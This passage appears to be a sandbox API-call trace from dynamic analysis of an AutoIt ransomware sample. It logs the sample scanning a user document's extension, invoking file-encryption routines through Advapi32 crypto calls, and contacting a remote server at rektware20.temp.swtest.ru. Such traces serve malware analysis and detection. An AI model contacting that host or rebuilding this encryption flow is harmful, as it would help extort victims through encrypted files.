lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.593] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.594] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.594] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.594] CloseHandle (hObject=0x0) returned 0 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FDrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DrzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rzA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zA xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZVcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VcyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cyzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yzK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zK.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.596] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.596] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.596] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.596] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.596] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.596] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.596] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.596] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.596] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0073.596] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.596] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.596] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.597] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.597] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.597] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.597] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.597] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.597] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.597] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.597] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.597] CloseHandle (hObject=0x0) returned 0 [0073.597] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.598] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0073.598] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0073.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.598] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.598] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.598] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.599] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.599] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.599] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.599] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.599] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.600] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.600] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0073.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.600] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.600] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.600] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.600] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.601] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.601] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.601] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.601] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.601] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.601] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.601] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.601] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.602] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.602] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.602] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.602] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.602] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.602] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.602] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.602] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, 